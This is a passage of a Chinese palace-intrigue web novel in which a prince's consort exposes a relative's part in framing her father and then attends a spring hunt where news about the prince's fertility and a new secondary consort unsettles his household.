崔锦为他付出了太多,也妥协了太多,他虽不能回以她同等的感情,但至少在后院所有女人之中,他只会给她足够的信任与宠爱。 想到这里,他有些愧意,对崔锦说话都柔和三分。 如春看到这一幕,嘴角微微一抽。 又来了。 明明一步步妥协再妥协的是萧临,偏偏落在崔锦嘴里,好像自己受了大委屈,为他付出了多少一样……偏偏萧临还真就被她套了进去。 妥协了一次,就有第二次,第三次。 底线会被一步步降低。 晚间,萧临近一个月以来,头一回被放进正院。 他抱着崔锦不放手,鼻尖轻蹭她耳际,轻轻说着什么,声音低沉微哑。 崔锦笑了一声,主动亲了他一下。 萧临眸光骤然暗沉,低头便追了上去。 正在屋内气氛愈发暧昧之际,门忽然被轻轻敲响,如春的声音传来:“王妃,方才崔府来信,说三姑娘那边有消息了。” 崔锦迷茫地睁开眼,愣了好一会儿才回过神,推开萧临。 “明日再去,不急于一时……”萧临抱着她不肯放,唇依旧在她耳后流连。 “不行……”崔锦摇摇头,“我得去看看。” 她费劲地将萧临推开,匆匆整理了一下凌乱的衣裳,拒绝萧临陪同的提议,披上狐裘就出门了。 萧临深呼一口气,转身去了耳房。 马车驶在安静昏暗的长街上,车厢里只点了一盏灯,略照亮了崔锦的脸。 “其实也不着急的,老夫人应当只是知会您一声。”如春有些心疼她深夜还要出门。 崔锦笑了笑。 “欲擒故纵,还没到擒的时间呢。”如秋替她回答。 记忆越深刻,以后便越能长教训。 所以即便方才萧临再眼巴巴地想跟来,甚至放低身段,说来做随身侍卫,崔锦也没点头。 马车并未往崔府去,而是直接去了大理寺。 大理寺卿被人从梦中叫醒,本十分不悦,但听到是崔家的人,忙不迭从床上爬起来了。 他前脚赶来大理寺升堂,崔锦后脚就到了。 堂下跪着崔钰和几个黑衣男子,前者瑟瑟发抖,后者被卸了下巴,眼神凌厉。 崔钰身边还站着二房的人,要么怒骂哭喊,要么怒声训斥,大理寺大堂一团嘈乱。 崔锦环视一圈,走去崔老夫人身边。 崔老夫人脸色阴沉,片刻后才开口,既是对崔锦解释,也是对大理寺卿说:“我儿被诬陷贪污,身陷牢狱,老身深觉不对,便叫人盯着府里些,未想竟意外发现三姑娘崔钰与陷害我儿的幕后凶手有来往,方才更是带着这队黑衣人去往三房名下的庄子,搬运赃款,意图给我儿定罪,幸好下人们反应快,将他们一网打尽,送来大理寺查办。” 大理寺卿心里咯噔一声。 他明面上虽是中立,但心里偏向晋王多些,尤其在儿子被崔锦算计得与几个男人有了首尾后,恨不得搞死崔家和信王府。 本都想好要如何将贪污罪扣死在崔父头上了,未想崔家竟拿出了新证据。 “大人,我冤枉啊……”崔钰脸上满是眼泪,慌张不已,“我……我只是去庄子上散散心,我不认识这些人,也不知道什么赃款啊……” “啪——” 崔钰话未说完,就被一巴掌扇得偏过头去。 崔二爷恨不得掐死她:“事到如今,你还敢抵赖?那日搜府时我就瞧你不对劲了,可我千算万算,竟没算到你愚蠢至此!早知你会害得家族倾覆,我当初就该掐死你!” 崔二婶与其他儿女站在一旁,虽有不忍,但更多的却是怨怪。 崔钰被他们的眼神刺激到了,捂着脸恨声开口:“若你们争气些,不看着大房脸色过日子,我岂会铤而走险,与虎谋皮?” 说罢,她猛地转头,死死盯着崔锦:“你恨我吧?可你有什么资格恨我,若非被你连累,我岂能走到这一步?!” 崔锦微微蹙眉,猜测:“幕后之人威胁你了?” 崔钰冷笑:“是啊,我不过掉了个耳坠,却被以名节相胁……他们威胁我若不同意,便要算计我失身,再有耳坠佐证,将我嫁给泼皮无赖,我此生尽毁!而你崔锦却还是高高在上的王妃……我凭什么要便宜你?!” “不过放个账本书信罢了,就能将你拉下王妃的宝座,看你大房覆灭,再撑不起从前的高傲嘴脸,我为什么不做?” “崔锦,是你连累了我,是你欠我的!” 崔钰的声音里饱含怨恨。 二房的人也皱起了眉,对崔锦生出不满。 有今日这场祸事,都是因崔锦而起,还连累了他们的女儿做傻事,即将身陷牢狱。 崔锦看清他们的神色,忽地笑了一声。 第六十九章 贪污案水落石出 “崔钰。” 她开口:“你究竟是真的被威胁,迫不得已,还是为你心中的嫉妒愤懑找个借口,你心里应当清楚,别连自己都骗了。” 她冷冷看向崔钰:“你大可假意答应,然后来寻我坦白,我若不济,还有王爷,有皇上,我便是为你去敲登闻鼓,也不会叫你蒙屈受胁!叫我父亲被人算计!” “一个耳坠罢了,失身?我崔府侍卫众多,还有王府一众暗卫,护不住一个你?”她冷笑,“揪出幕后之人也不过时间问题,你有什么可担心?” 崔钰眼神闪了一瞬,避开她的目光。 的确,只要顺着崔儒月和沈之珩,很容易就能查到幕后之人——甚至连崔钰自己都猜的出来,是晋王。 所以她才对沈之珩愿意为她谋算县主之位的承诺深信不疑,晋王做得到,她甚至猜到他们愿意推她做信王妃,是为了在信王身边安插细作。 但她不在意,只要抓住这个机会,等她做了信王妃,自会反水帮助信王。 崔锦不过是个没用的棋子罢了。 “你都清楚,只是不愿去做罢了。”崔锦声音恢复平静,“因为你要为自己的背叛找个合理的借口,叫你良心得安,叫你站在道德制高点,对我讨伐攻讦。” “崔钰,我并不欠你。” 若论恩,是他大房庇护二房三房多年,是崔父一手提拔起男丁,叫他们锦衣玉食,就连崔母也用嫁妆贴补着女眷们,供他们潇洒挥霍。 所以在崔父出事时,二房三房才会急迫慌乱,想尽办法也要捞他出来。 因为他们清楚自己能立足京城依靠于谁。 崔钰受了恩,却毫无感激之心,反咬他们一口还要倒打一耙,痛诉自己被连累,被害。 哪有这样的道理? 大堂中一时沉默下来,二房的人也微微低下了头,脸色不太好看。 “咳……” 大理寺卿轻咳几声,道:“证据证人既已送到,下官会连夜审查,请几位静候佳音。” 拖沓的场面话,在场没几个人信。 崔二爷忍不住道:“人证物证俱全,足以证明我大哥是被人陷害,你们审查多久都行,但要先将我大哥放出来,还他清白啊!” 崔钰这个没用的蠢货下狱无妨,但崔父一定要清白出狱。 “崔大人说笑了。”大理寺卿道,“人证物证虽有,但本官还未核实过,是否释放崔尚书,也要请皇上定夺。” “大人说的对。”崔锦接话,“但体谅大理寺劳累,我已通知刑部,请他们从旁协助。” 大理寺卿温和的面色沉了下来。 没有皇命,刑部无权干涉此案,崔锦此举分明是叫他们在旁监督,绝了大理寺屈打成招,诱供串供的可能。 “多谢王妃体谅。”他声音泛着冷意。 “客气。” 出了大理寺,崔锦对闻讯赶来的刑部侍郎等人客气点头,然后扶了把崔老夫人:“夜色已深,祖母快回去歇息吧。” 崔老夫人精神尚好,只是眼底尽是疲惫。 先是崔儒月,再是崔钰,一个个坑害起自家人毫不留情,饶是她素来不重视孙女,也有些疲累了。 好在崔锦还是向着娘家的。 崔老夫人心中坚定了要拉拢崔锦,助她坐稳王妃之位的念头,对她愈发温和慈爱了许多。 崔锦回到正院时已经凌晨。 在看到床上的人后,她略有些诧异,没想到萧临还在。 略作洗漱后,她躺上床,腰上蓦然多了条手臂,紧接着身后便靠过来一个温热的胸膛。 “王爷怎的还在?” “本王不该在?”昏暗的床幔内,萧临吐息温热,直扑在她耳边,“不许本王跟着出门,连正院的床都不能上?” 崔锦轻笑:“我以为王爷耐不住,该去找后院哪个妹妹了。” 话没说完,耳垂便被啃了一口,泛着麻意。 “守着你都不够,哪还有心思去想旁人?” 怀中温香软玉,萧临再度意动起来,可听崔锦已有些昏昏欲睡,似乎很是疲惫,他只能按捺下心思,将人抱得更紧些,酝酿起睡意。 翌日早朝,在刑部的贴心帮助下,大理寺卿只能呈上新证据。 一时间风向骤变,晋王党陷入两难境地——因为那群赃款来源竟直指礼部左侍郎,后者当庭就被下了狱。 而崔父虽还未被释放,但洗刷冤屈是迟早的事了。 这一动静叫原本准备参萧临的御史台都没找到机会上奏——昨日萧临在御前陈情自省,亲手揭露林昭假冒军功一事,已经传开了,御史台本磨刀霍霍,却在早朝被打了个措手不及。 但在知道萧临自请革去在吏部的所有差事,并重礼给卫期赔罪,还送林昭下了大狱后,御史台便也歇了心思。 假冒军功的是林昭,萧临并不知此事——无论他是不是真不知情,至少明面上是如此,那这般作态已经很有诚意了。 而在永隆帝指定刑部主审贪污案后,不到半个月时间,结果便已呈上御前。 ——真正贪污的是礼部左侍郎。 大理寺于少卿则以权谋私,将关于左侍郎的证据消除,还妄图栽赃陷害崔父。 礼部左侍郎被判秋后问斩,于少卿抄家流放。 晋王一次性没了两个臂膀,正想推自己的人补全空缺,礼部左侍郎的位子却被萧临的人抢先占据,而大理寺少卿的空缺,落在了卫期头上。 他本是武将,在敌营经受了近两年的折磨,坏了身体,所幸他是真正惊才绝艳之人,做文官也无妨——他带回的魏国情报足以叫质疑他高升的人闭嘴。 南街一座小宅子内,卫期面色平静地送走宣旨的太监。 “恭喜卫大人得偿所愿。” 一位白衣公子神不知鬼不觉地出现,含笑道喜。 卫期表情不变:“若无谢公子,在下要报仇,只恐九死一生。” “谢某受人之托罢了。”白衣公子轻摇折扇,一派风流,“卫大人谨记真正的恩人是谁便可。” 卫期眼神深邃,闪过坚定:“在下绝不敢忘,此生以命效忠。” 他已孑然一身,报过仇,便该报恩了。 这条命,以后只属于那个将他从绝望之境中拉出来的人。 第七十章 沈之珩要娶平妻 “晋王推出大理寺少卿顶罪,保住了沈之珩?” 崔锦眉梢微挑。 如春也很疑惑:“于少卿颇有能力,对晋王也一向忠心,怎会连个沈之珩都比不过?” 要知道诱导崔钰的就是崔儒月夫妻,大理寺与刑部必然已经查到了沈之珩身上,可晋王竟宁愿舍弃一个四品要员,也要保住沈之珩这个棋子。 崔锦眼眸微眯:“或许是沈之珩身上有他想要的东西吧。” 她没再说什么,只是在崔钰被判流放后回过崔家一回。 二房气氛低迷,但因为崔钰而理亏,最近安分得很,大狱一场的崔父面上看起来对二房也没有芥蒂,十分平和。 只是在面对崔锦时,他心情复杂了许多。 最疼爱的女儿要推他入火坑,竭力救他的反而是他亏欠漠视良多的二女儿,这叫他心中百感交集。 崔锦权当没看到,与崔母聊了聊便离开了。 临出门时,正看到被赶出府的崔儒月,后者面色憔悴,衣衫褶皱,正在怒骂守门侍卫:“狗奴才,你竟敢拦我,等我见了父亲,一定要你好看!” 侍卫无动于衷。 崔锦笑了笑,掀起车帘:“长姐怎如此没有自知之明?你害得父亲入狱,害得家里险些被抄家流放,还敢回来作威作福?” “你懂什么!” 崔儒月看到她,眼中倏然迸发出一股怨恨:“父亲只是暂时受困罢了,我岂会真看着他死?只要他……” 她蓦然顿住话头。 “只要他肯转投你身后那人,交出王爷的机密?”崔锦顺着她的话开口。 崔儒月脸色微变,显然是被说中。 “崔儒月,你是真蠢还是假蠢?”崔锦冷冷看着她,“父亲曾为王爷打击过对面多少回?给过对面多少回难堪?等父亲没了利用价值,又岂能全身而退?” 姻亲关系尚且都不能保证晋王上位后不卸磨杀驴,更别说若崔父当真转投晋王,中间只有沈之珩这个纽带。 晋王如今势弱,其中崔父出了多少力,彼此都心中有数,甚至晋王党有不少心腹都是被崔父帮着拉下马的,晋王就当真能毫无芥蒂地接纳他? 恐怕等萧临倒台之际,就是崔父被卸磨杀驴之时。 崔儒月听得脸色发白,却喃喃道:“我不知道……我只是为父亲好……” 信王必定落败,只有搭上晋王的船才不会沉。 崔锦只是落井下石,并无意与她多说,准备放下车帘。 崔儒月却猛地扑上来,被侍卫眼疾手快地拦住:“崔锦……不,二妹妹,你去知会父亲一声,我当真有要事见他!” 崔锦看向她。 “沈郎……他要娶平妻。”崔儒月满脸是泪,“方芸那个贱人,竟敢爬沈郎的床,现在……现在婆母逼着他兼祧两房,只有父亲能压住沈家了。” 崔锦诧异一瞬,但见崔儒月只恨方芸,半点不怨沈之珩的行为,她还是道:“沈之珩若当真愚孝,你婆母小姑子为难你时,你岂能被他护住?究竟是你婆母逼他兼祧两房,还是他自己有意,你心里真没数?” 崔儒月一顿,双手收紧:“我与沈郎情比金坚,都是那群贱人挑拨!” 崔锦笑了一声,意味不明道:“马上要殿试了,若在这关头闹出些什么事,不知沈之珩前途如何啊。” 崔儒月蓦然愣住,若有所思起来。 信王府的马车缓缓驶离。 “王妃帮她做什么?”如夏嘀咕,“从小她那么对您和夫人,就该任她自生自灭!” 崔锦笑意盈盈:“沈家越乱,我越高兴。” 暂时杀不了沈之珩没关系,看他倒霉也不错。 而且若她没猜错,只怕沈之珩和方芸早就有首尾了,只是那时崔家还有用,方芸不能见光,现在崔儒月没了崔家做靠山,沈之珩便也不管不顾,要娶平妻了。 前世今生那似乎深到刻骨的爱意,不知被他抛哪儿去了。 事到如今,崔锦也渐渐肯定了自己先前的猜测——沈之珩没吃同心丹。 她沉默许久,蓦然轻笑一声。 前世与挚爱擦肩而过,不愿成全了她这个“抢婚者”,那今生呢? 如春几人见她轻笑,不明所以。 崔锦敛下眸光,下了马车:“回去歇着吧,最近可够累的。” 崔儒月没叫她失望,直到殿试过后,沈家都没了娶平妻的动静。 而沈之珩不知是不是受了影响,殿试名次只排到二甲二十三名,与前世的榜眼风光相去甚远。 此时,王府的四个新人也进门一月有余。 但叫淑妃失望的是依旧没有一人有孕。 这日,崔锦懒洋洋地起身,见如春拿来避子丸,摇了摇头:“不必了。” 如春眼睛一亮,瞬间笑了起来。 其余几人也明白了,心情极好,如秋已经盘算起做小衣裳。 因为她们的好心情,正院中的下人们虽不明所以,但干活也越发卖力了些,个个脸上笑意盈盈。 庄清婉几人来请安时也察觉到了。 “王妃今日有喜事?”叶挽棠挑眉笑道,“妾觉得整个正院今日心情都极好。” 庄清婉抿了口茶:“昨夜王爷宿在正院,王妃心情自然好。” 她余光扫过崔锦与下头的女人们,唇角往下压了压。 在四个新人入府后,萧临才像是想起她一样,与她圆了房,可也正因新人分宠,后院除了崔锦外,其余人就连平分秋色都做不到。 包括她这个侧妃。 崔锦含笑道:“王爷安好,王府也平静和睦,我怎会不高兴?” “正因王妃宽厚待下,让妾等如沐春风,才有王府的平静和睦。”说话的是一月前入府的孟氏,她长得娇媚,说话也好听,进门后从未与人红过脸,连一向暴脾气的叶挽棠都对她印象不错。 此外的三人——秦氏热情大胆,朱氏内敛话少,苏氏婉约可人,各有各的特点,出身最低也是四品官员的女儿或妹妹,可见淑妃用心。 “庄侧妃莫不是心急了?”秦氏掩唇轻笑,“不过咱们王府子嗣凋零,怪道您期盼雨露。” 她这话说得大胆,叫不少人微红了脸。 而庄清婉眼眸微暗,默不作声地抚着小腹,心中又是期待,又怕失望。 聊了会儿,崔锦道:“半个月后便是春猎,府中也该提前准备起来了,如今府中人不少,不好一同前去,我已与王爷商议好跟随的人选。” 众人俱都静默下来,有些紧张地看着她。 王府现在只有一位侧妃,其余全是夫人,能否被带去春猎,决定了谁真正受宠,且春猎耗时长,若能跟去,伺候的机会也能多些,说不得便能好运怀上孩子。 王府的第一个孩子……无论是男是女,都很动人心。 第七十一章 淑妃请医 崔锦环视一圈,开口:“庄侧妃随行,叶氏、朱氏,还有安氏也准备准备吧。” 安氏愣了一瞬,竟有些激动起来。 她竟还有机会承宠。 没被选中的人面露失望,可想起方才崔锦说是萧临的命令,又不敢违逆,叶挽棠比她们进门早,又很受崔锦照拂,而朱氏最为貌美,被选中也不奇怪。 她们心里嘀咕崔锦假大方,竟肯挑朱氏随行,虽然后者不及崔锦貌美,可男人贪鲜,只看一众妾室中只有朱氏承宠次数最多便可知萧临对她颇有不同。 众人出正院时,看到格外沉默的江柔,其余没被选中的几人心中倒平衡了些。 比起这位曾陷害过王妃,如今连王爷都不肯踏足她院子的人,她们还是略幸运一些的——没见连寄月阁的安氏都有了跟去猎场的机会? 可见得罪谁都不能得罪王妃——至少明面上是这样。 这也是刚进门的四人对崔锦格外恭敬的原因。 没站稳脚跟的前提下跟近乎独宠的王妃斗,这得多蠢? 秦氏斜睨了江柔一眼,毫不客气地嗤笑一声,步履婀娜地离开。 半个月时间一晃而过,就在众人准备动身前往京郊猎场的前夜,后院却有些不平静。 “朱氏扭了脚?”萧临诧异一瞬,便揽着崔锦,“那换个人,你决定就好。” 他对后院女人没什么格外的感觉,只对朱氏格外美貌的脸有些印象,便多去了几回,但也仅止于此了。 崔锦笑了笑,对如春道:“去叫秦氏准备吧。” 如春离开后,崔锦还想再与萧临商议一下春猎的事项,可话未出口,就先被堵住了,整个人不受控制地倒在了身后的软榻上。 一夜好梦后,便到了出发的时辰。 庄清婉在看到秦氏时,诧异一瞬。 秦氏媚声解释:“朱妹妹扭了脚,便由妾伺候王爷了。” 庄清婉眉头微蹙一瞬,有些遗憾不是苏氏随行,毕竟后者的父亲曾受燕山长公主恩惠,自进府后苏氏便对她亲近得很。 但能换下朱氏倒也不错了。 狐媚勾人的,有一个崔锦就够了。 庄清婉若有所思地坐上了马车,莺歌低声提议:“主子,这回燕山长公主也会来猎场,您可要把握住机会,好生与她亲近亲近。” 庄清婉垂下眸。 自嫁入王府后,不知为何,她与燕山长公主便疏远了许多,往常三五日就能见到的长辈,现在连见一面都难,偶尔在宫宴等场合遇见,说得也都是些场面话……或许这便是为人妾室的不得已吧。 她不会像莺歌暗示的一样,用燕山长公主去压萧临,以此博宠。 但她舍不得与长辈疏远,也该孝顺这位疼爱她良多的婶娘。 京郊猎场颇远,大部队走了一整日才到了行宫。 萧临沐浴过后,正要抱着崔锦上床,门外却传来庆喜压低的声音:“王爷,淑妃娘娘来了,叫您立刻去见她。” 淑妃? 萧临疑惑地皱起眉。 崔锦拍了拍他的肩:“母妃定有要事才这么晚出宫,快别让她久等了。” 萧临策马一日精力依然不减,但那点心思此时被庆喜打散了不少,只能不甘地将她拉进怀里,亲得她头晕目眩后才穿衣离开。 行宫规矩没有皇宫那么严苛,淑妃暗夜出宫,只要安排妥当便无妨。 此时她正在信王府庄子的一处院落里等着萧临。 见他进来,不等他行礼,淑妃便扬了扬下巴:“坐,伸手。” 萧临一头雾水,但出于孝道,还是忍下疑惑。 落座后看到上前准备诊脉的一位老者,他才反应过来:“母妃深夜前来,就是为叫人给儿子诊脉?” 淑妃颔首:“这位是名震江湖的曲神医,本宫费了好些功夫才请来的。” “可儿子身体并无问题。”萧临皱了下眉。 淑妃深深看了他一眼,却没说话。 曲神医这个脉诊了许久,中间眉头都不自觉蹙起,叫淑妃和本觉得自己没问题的萧临都心中惊疑起来。 “王爷这脉象……”曲神医斟酌一下,“若老朽没诊错,您应当是精水过少导致的无嗣。” 萧临震惊过后,眸色微沉。 淑妃也有些不可置信:“神医确定没诊错吗?” “娘娘若不信老朽,何必费大力气请老朽来此呢?” 淑妃张了张嘴,一时却无言。 以前林昭独宠,她以为信王府无子嗣是因为林昭不能生,后来崔锦进门依旧无子,她只怨崔锦无能,可在新人前后入府,而王府依旧没有动静后,她不得不怀疑起晋王党攻击性十足的话——有问题的会不会是她儿子? 所以她大费周章地请了神医来诊脉,可心中到底残存希冀——万一就是那群女人肚子不争气呢? 现在听到曲神医的话,她闭了闭眼,悬着的心终于死了。 萧临已经从打击中回过神来,不动声色道:“太医院数位太医都曾为本王诊过脉,却从未有一人诊出此症。” “他们有老朽医术精湛么?”曲神医傲气十足。 他对自己的医术极为自信,也引以为傲。 萧临牢牢盯着他,不放过他脸上每一个表情,却没看出半点说谎的痕迹。 “此症可有法子治?” 曲神医沉吟一瞬,还是实话道:“先天精水不足,无药可解……但也并非全无希望,不过是子嗣艰难些,并不意味着毫无希望。” 唯一可解的其实是好孕丹,但此丹用药难得稀有,他这些年也才制成一丹,给了崔家,出于保密也不能告诉旁人。 而且就他猜测,这位信王妃当初吃的也不是好孕丹,否则不至于久久不孕。 所以信王……只能看天意和运气了。 萧临与淑妃心中都沉了下去。 若曲神医说有得治,他们或许还要猜疑一二是否被骗,可对方直接说没得治,甚至不要钱不要利,也没有乱开药方,实在不由得他们不信几分。 想明白这点,淑妃看萧临的眼神像是恨不得把他塞进肚子里重生一遍。 没用的东西! 第七十二章 助孕 翌日崔锦醒来,疑惑问:“王爷昨夜没回来?” 如春低声道:“王爷似乎与淑妃娘娘密谈了许久,后来时间太晚,便在前院歇息了。” 崔锦眼中闪过疑惑,回忆起前世春猎。 的确出过一些不大不小的事,但应该不算要紧。 收拾妥当后,他们便去了猎场。 今日永隆帝心情颇为不错,宣布春猎开始后,便一马当先地进了林间,他身后,萧临与晋王等人齐齐跟上。 崔锦垂下眸,带着庄清婉走去淑妃身边。 “来了?”淑妃笑了笑,“春猎便是如此折腾人,今日来这一遭,后头你们若觉无趣,待在庄子上便好。” 崔锦敏锐地捕捉到了她眼底一闪而过的忧愁,心中疑惑再度升起。 虽然淑妃脸上在笑,但怎么看怎么心情不佳,眼下的青色连脂粉都险些没遮住。 是因为昨夜与萧临议事么? 能叫淑妃愁成这样,显然事情不小。 崔锦一边脑中迅速回忆近日晋王的动作,一边含笑回:“常日待在府中也无趣,倒不如出来走走,陪着母妃赏景说话才更得趣呢。” “你惯是个嘴甜的。”淑妃嗔她一句。 庄清婉温声恭维:“王妃姐姐说得对,若能日日服侍在娘娘身边,才是妾身的福气呢。” 话落,她余光一扫,忽地道:“二婶娘似乎在那边,妾身去给她请个安吧,自年宴一别,妾身已有三个月没见婶娘了,心中十分想念。” 淑妃的笑容真实了许多:“听闻她很疼你,是该多孝顺着些。” 庄清婉不好意思地笑了笑:“婶娘只有两子,自妾身出生后,她便将妾身当做女儿般疼爱,感情是比平常人深许多。” 淑妃含笑摆摆手,叫她去请安。 如今她对庄清婉实在满意得很——撇去之前与娴贵妃母子的渊源不谈,庄清婉可以说十分称职,对萧临一腔深情,又肯主动为王府搭燕山长公主的门路,就连平安伯虽没什么能耐,对萧临也忠心又听话。 比起崔锦这个分明有谢氏做靠山,却不肯为他们牵线谢氏的榆木疙瘩强多了。 淑妃一想起谢氏的清高姿态心里就来气。 她瞥了眼安静的崔锦,训道:“听说朱氏前夜扭了脚?后院暗潮涌动,制不住便是无能,身为王府主母,若纵容这等算计谋利的行为,谈何称职?” “妾身明白,谨遵母妃教诲。”崔锦温声应下。 可惜朱氏崴脚,并不是旁人所为,她再查能查去谁身上呢。 见淑妃气不顺,她招了招手,叫如春端上特制的姜汤:“今日天冷,王爷惦记着您的身子,特意吩咐膳房做的,没有姜味,倒是颇为清甜。” 淑妃本已经端起碗,一听到萧临的名字,脸色黑了一瞬,“砰”一声将姜汤重重放在托盘上,溅起的汤洒了大半。 “整日费这些小心思,难怪不中用!” 连个儿子都生不出来,还有脸记挂这些? 淑妃冷笑一声。 崔锦不自觉露出一抹诧异。 淑妃对萧临意见很大啊。 从前她即便再不喜欢这个儿子,起码顾念着那份血脉,尤其在面对萧临和王府的女人时,偏心更是明显——到底是亲生儿子,总比外人要亲近,可现在淑妃对她都只是挑剔几句,对亲儿子却不满至极,像是恨不得掐死他一样。 昨夜究竟发生了什么事? 她心中猜测,面上依旧恭敬地为淑妃斟茶。 淑妃瞥了她一眼。 这个儿媳妇脾气素来好,对她也恭敬,方才被敲打挑剔也没有半点情绪,倒……还算不错。 要是个能生的就好了。 淑妃顿了片刻,问:“本宫先前给你的坐胎药可还在用?” “妾身一直都在按时服用。”崔锦垂眸,有些失落,“可惜妾身身子不争气,竟直到现在都未有孕,辜负了母妃的期待。” 淑妃轻叹口气,吩咐:“继续喝。” 迟疑良久,她对崔锦招了招手。 崔锦疑惑靠近,便听淑妃的声音在自己耳边低低响起。 她震惊地睁大双眼。 “有什么好奇怪?”淑妃没好气地看她,“后宫多数女子承宠日少,要想怀上龙嗣,不用些手段怎么行。” 崔锦低头:“……是。” 看来淑妃是真心急了。 临走时,还叫她带走了一本避火图——助孕的。 直到黄昏时分,去林间打猎的人才陆续回来,永隆帝老当益壮,捕获不少猎物,而萧临则更青出于蓝,他本就于武道天赋异禀,猎得的猎物是在场人中最多的。 永隆帝自觉脸上有光,对他大加赞赏。 除此之外,还有一人很叫崔锦关注——淮阴侯世子,他的猎物仅次萧临,但在今日之前,这位世子从未表露过自己的骑射天赋。 萧临注意到她的疑惑,低声解释:“淮阴侯府不太平,正妻与贵妾分庭抗礼,淮阴侯世子不受重视,只能藏拙,直到年后贵妾被查出偷人,长子非淮阴侯所出,才被处置了。” 崔锦微微点头,敛下眼中的疑惑。 淮阴侯武将出身,袭伯爵后生生以军功拼来侯爵之位,但英雄难过美人关,据闻那位贵妾貌美如花,又连生三子两女,生生压得淮阴侯夫人抬不起头。 所以淮阴侯世子虽为嫡出,在府中的地位却远远不及贵妾所出的兄弟,直到贵妾落败才敢崭露头角。 崔锦知道淮阴侯世子会成为最后的赢家,只是……这时间比起前世,竟快了许多。 难道是被她与沈之珩的重生引发的吗? “你怎么不看本王?”萧临低沉的声音响起。 崔锦一愣,却还是没抬头:“……妾身饿了。” 她再平静镇定也耐不住淑妃那些……话,还有那极其大胆的避火图,这叫她在萧临面前头一次生了羞怯退缩之意。 萧临挑了下眉,抬手给她布菜。 崔锦低着头,慢吞吞吃着。 直到晚间进房,萧临才遣退婢女,一把抱住她,垂眸仔细打量:“瞧着不像受了委屈……耳根还红了些?” 他低低笑了笑,凑近问:“怎么了?” 崔锦推开他些,才轻声回:“今日……母妃给了我一本能助孕的避火图。” 第七十三章 王妃这是喜脉! 萧临微顿。 要说不想要自己的孩子,那是假话,他比谁都想有后,想要儿女绕膝,但他也并非受不住打击之人,昨夜曲神医诊过后,他又叫了旁的太医来,但结果都是他身体无恙。 可若真无恙,他岂会到如今还膝下空空? 在极大的失望过后,他便迅速考虑起了过继之事。 但不能是现在——至少要加快脚步,摁死晋王再说。 因为他不确定永隆帝在知道他很难有子后,会是什么态度,所以要先将能生儿子的晋王摁死。 叫这江山的继承人,只能是他。 他眼眸幽深,明灭不定,面上却并无丝毫异样,吻上近在咫尺的薄红耳尖,声音微哑:“避火图在哪?” 崔锦双颊都烧了起来:“王爷……” 萧临低低与她笑说几句,便顺着指引,拿到了避火图。 “母妃一片好意,我们可不该辜负。” 说话间,他低头覆上了崔锦双唇,将她抱得更紧,两人紧密相贴。 好孕丹需要房事频繁的效用在这近一年内并未解多少,崔锦平日需要克制,可一旦萧临刻意引诱,她自控力便差了许多,连脸皮也暂时撇了个干净。 …… 春猎本只需半个月即可结束,但因为今年如淮阴侯世子等后起之秀十分出色,竟叫永隆帝兴致大发,一连待了二十日。 崔锦空有一身武力却不能策马去玩,穷极无聊,不是陪淑妃与皇后说话,就是带着弟弟妹妹在庄子上玩。 而萧临倒是忙得很,整日陪在永隆帝身边。 据闻永隆帝对那位淮阴侯世子十分欣赏,他揣摩上意,与淮阴侯世子来往也频繁了些。 “王妃,秦夫人昨日来了月事,似乎发了好大一场脾气。”如春低声禀报。 崔锦正带着四妹妹喂鱼,闻言淡淡应了声。 如今的庄子上女人少了一半,可萧临最常留的还是正院,二十日来也不过分了秦氏等人一两回,她盼着有孕,失望后自然要发脾气。 “多盯着她些。” “是。”如春点点头,又问,“快到晚宴的时间了,奴婢为您更衣吧?” 崔锦点点头,牵着崔四妹起身回房,他们即将启程回京,这场晚宴算是告别春猎了。 她换好衣裳后,萧临也回府了。 崔四妹乖乖行礼:“臣女给王爷请安。” 萧临唇边浮起一抹笑容,慈父一般摸了摸她的头。 乖巧可爱的孩子,总是讨人喜欢的,尤其在求子求女心切的萧临眼里,简直恨不得见到的小孩都是自己亲生的。 崔四妹也很开心,每回见到萧临,她就能得到好大数额的银票买零嘴吃,现在萧临在她眼中几乎等同于大型宝库。 半个时辰后,终于到了行宫。 崔锦叫如春送崔四妹去崔家的席位后,这才落座。 晚宴时,永隆帝竟是与淮阴侯世子一同前来,两人言笑晏晏,不知在说什么。 “少见父皇如此开怀了。”晋王似笑非笑,“可见淮阴侯世子讨人喜欢得很。” 永隆帝朗声笑了起来:“此子颇有朕年轻时的风采。” 周围霎时一静。 这句话的分量不可谓不重。 淮阴侯世子对周围各异的打量视而不见,含笑回道:“皇上龙章凤姿,微臣若能得您万分之一的风采,便已能傲视一众青年才俊了。” 闻言,不少人眼中露出鄙夷之色,但永隆帝却被这直白的马屁拍得龙颜大悦。 谈笑间,不知怎得聊起淮阴侯世子待字闺中的妹妹,永隆帝大手一挥:“梁卿的妹妹,想来能得你三分真传,可得良婿。” 话落,他目光一转:“便赐给晋王做侧妃吧。” 萧临一愣,随即起身出列,谢恩:“多谢父皇。” 紧接着,身边响起一道清脆飒爽的女声:“臣女多谢皇上赐婚。” 梁溶月察觉到萧临的目光,对他一笑。 萧临微微颔首。 永隆帝瞧出了些趣味,笑对淮阴侯世子道:“倒是郎才女貌啊。” 淮阴侯世子含笑附和。 一旁的淑妃看到这一幕,连日来被萧临气出来的头风终于缓和了些。 半月前她就与淮阴侯府搭上了线——林昭腾出位置,便该用这个侧妃之位拉拢人脉了,萧临文臣中已有崔谢,虽然谢家姿态高傲,可在外人看来,他们已经上了萧临的船,后者间接获利不少,还拉拢到了不少文臣好感。 那接下来便是武将了。 萧临本就战功赫赫,旧部不少,若再有威望实权都不小的淮阴侯府相助,将如虎添翼。 只是那时她忙着找神医,忘了与萧临提此事,没想到淮阴侯府动作倒如此之快,还叫永隆帝当众成人之美。 这极好。 淑妃对淮阴侯府越发满意了几分。 而女眷中落在崔锦身上的目光多了起来,晋王妃挑衅般举杯道喜:“恭喜四弟妹了。” “多谢三皇嫂。” 崔锦岿然不动,唇边还带着浅笑,倒是她身边的庄清婉脸色有些难看。 梁溶月貌美动人,有个受圣宠的兄长,家世更是强大,还得了永隆帝亲口称赞——郎才女貌,能与这个词一起出现的,只有正妻,永隆帝却给了一个妾室如此殊荣。 显然是因为淮阴侯世子之故。 梁溶月尚未进门,就已经压过她一头。 等她进门,萧临绝不会像冷落自己这样冷落她。 庄清婉眼睛微红,手骨节被攥得发白。 崔锦瞥过她,眉头微不可查地皱起一瞬:“这道菜不错,庄侧妃尝尝。” 这会儿摆出这样的脸色,不是明摆着不满永隆帝的赐婚? 若非不想她连累王府,崔锦都懒得提醒。 说话间,萧临回了席位。 见崔锦始终含笑,不见丝毫难过,他心中不知是喜还是堵。 “锦儿……” 